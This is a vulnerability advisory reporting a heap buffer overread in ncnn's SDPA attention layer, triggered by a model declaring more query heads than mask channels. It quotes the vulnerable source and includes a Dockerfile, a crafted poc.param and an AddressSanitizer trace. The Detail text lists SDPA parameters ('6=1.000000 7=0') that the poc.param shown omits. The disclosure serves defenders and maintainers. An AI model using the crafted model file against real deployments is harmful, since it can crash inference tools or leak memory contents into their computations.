SDPA Mask Channel Heap Buffer Overread

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/x86/gemm_x86.cpp:124 in pack_A_tile
Sanitizer verdict: heap-buffer-overflow

Summary

A model that declares more SDPA query heads than attention-mask channels makes ncnn build a Mat view pointing past the end of the mask allocation and hand it to the AVX-512 GEMM, which reads 64-byte tiles out of bounds and aborts ncnnoptimize. The attacker supplies only a .param file; ncnnoptimize inparam inbin outparam outbin 0 allocates each declared Input and runs the graph in ModelWriter::shape_inference(). Because the mask is the GEMM's C operand, in a non-sanitized build the out-of-range bytes are added into the attention scores rather than trapped.

Detail

SDPA_x86::forward derives num_heads from the query tensor (query.c) and iterates one GEMM per head. For a 3-D mask it picks a per-head channel with maskm.channel(maskm.c > 1 ? i : 0). The ternary only distinguishes "broadcast a single channel" from "index per head" — it never checks that i < maskm.c. Mat::channel is unchecked pointer arithmetic, so an out-of-range index silently yields a Mat whose data points past the allocation:

// src/layer/x86/sdpa_x86.cpp:248
    #pragma omp parallel for num_threads(opt.num_threads)
    for (int i = 0; i < num_heads; i++)
    {
        // 1. Q * K^T
        std::vector<Mat> qk_bottom_blobs;
        qk_bottom_blobs.push_back(query.channel(i));                     // Q: [Seq, Embed]
        qk_bottom_blobs.push_back(key.channel(i / num_heads_per_group)); // K: [DstSeq, Embed]

        if (attn_mask)
        {
            // Ensure mask is 2D for Gemm auto-broadcast detection
            Mat maskm = attn_mask_blob;
            if (maskm.dims == 3)
            {
                // If c > 1, pick i-th head mask. If c == 1, pick 0-th (broadcast)
                maskm = maskm.channel(maskm.c > 1 ? i : 0);
            }
            qk_bottom_blobs.push_back(maskm);
        }

// src/mat.h:1655
NCNN_FORCEINLINE const Mat Mat::channel(int _c) const
{
    Mat m(w, h, d, (unsigned char*)data + cstep * _c * elemsize, elemsize, elempack, allocator);

// src/layer/x86/gemm_x86.cpp:122
            for (; kk + 15 < max_kk; kk += 16)
            {
                __m512 _r0 = _mm512_loadu_ps(p0);

The PoC declares Input q 0 1 q 0=1 1=2048 2=3 (three query heads) and Input mask 0 1 mask 0=2048 1=2048 2=2 (two mask channels), with SDPA attn 4 1 q k v mask out 5=1 6=1.000000 7=0 enabling the mask and fixing a non-zero scale. num_heads is 3, attn_mask_blob.c is 2.

At i == 2 the guard maskm.c > 1 is true, so channel(2) computes data + cstep * 2 * 4 = data + 33554432 bytes on a blob whose whole allocation is 33554500 bytes (2 * 2048 * 2048 * 4 payload plus refcount plus the 64-byte NCNN_MALLOC_OVERREAD slack). The resulting view claims 2048x2048 valid floats starting 68 bytes before the end of the region. That Mat is pushed as GEMM operand C; Gemm_x86::forward repacks it through pack_A_tile, whose AVX-512 loop issues 64-byte _mm512_loadu_ps loads. The load at offset 64 into the phantom channel runs off the end of the region — the READ of size 64 ... 0 bytes after 33554500-byte region in the ASan report — and the loop would keep reading for the remaining ~16 MB the view claims.

Reproduce

mkdir -p ncnn-poc-sdpa-mask-channel-heap-buffer-overread && cd ncnn-poc-sdpa-mask-channel-heap-buffer-overread

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'POC_PARAM'
7767517
5 5
Input q 0 1 q 0=1 1=2048 2=3
Input k 0 1 k 0=1 1=2048 2=3
Input v 0 1 v 0=1 1=2048 2=3
Input mask 0 1 mask 0=2048 1=2048 2=2
SDPA attn 4 1 q k v mask out 5=1
POC_PARAM

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0

AddressSanitizer output:

shape_inference
=================================================================
==1==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x77d52e5fe840 at pc 0x63b86a3195dc bp 0x7ffd88f9f430 sp 0x7ffd88f9f420
READ of size 64 at 0x77d52e5fe840 thread T0
    #0 0x63b86a3195db in _mm512_loadu_ps(void const*) /usr/lib/gcc/x86_64-linux-gnu/13/include/avx512fintrin.h:6342
    #1 0x63b86a3195db in pack_A_tile /ncnn/build/src/layer/x86/gemm_x86_avx512.cpp:124
    #2 0x63b86a3c76d7 in gemm_x86 /ncnn/build/src/layer/x86/gemm_x86_avx512.cpp:7049
    #3 0x63b86a404c11 in ncnn::Gemm_x86_avx512::forward(std::vector<ncnn::Mat, std::allocator<ncnn::Mat> > const&, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/build/src/layer/x86/gemm_x86_avx512.cpp:7796
    #4 0x63b86cbdec86 in ncnn::SDPA_x86_avx512::forward(std::vector<ncnn::Mat, std::allocator<ncnn::Mat> > const&, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/build/src/layer/x86/sdpa_x86_avx512.cpp:274
    #5 0x63b863d0c70b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:856
    #6 0x63b863cf4b7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
    #7 0x63b863d549e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
    #8 0x63b863be63c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
    #9 0x63b863c63eee in main /ncnn/tools/ncnnoptimize.cpp:2844
    #10 0x77d5311451c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #11 0x77d53114528a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #12 0x63b863be3624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

0x77d52e5fe844 is located 0 bytes after 33554500-byte region [0x77d52c5fe800,0x77d52e5fe844)
allocated by thread T0 here:
    #0 0x77d5317bef1d in posix_memalign ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
    #1 0x63b863cb492d in fastMalloc /ncnn/src/allocator.h:62
    #2 0x63b863cb492d in ncnn::Mat::create(int, int, int, unsigned long, ncnn::Allocator*) /ncnn/src/mat.cpp:415
    #3 0x63b863be4ca0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:390
    #4 0x63b863c63eee in main /ncnn/tools/ncnnoptimize.cpp:2844
    #5 0x77d5311451c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #6 0x77d53114528a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #7 0x63b863be3624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

SUMMARY: AddressSanitizer: heap-buffer-overflow /usr/lib/gcc/x86_64-linux-gnu/13/include/avx512fintrin.h:6342 in _mm512_loadu_ps(void const*)

Credit

Zheng Yu @ DepthFirst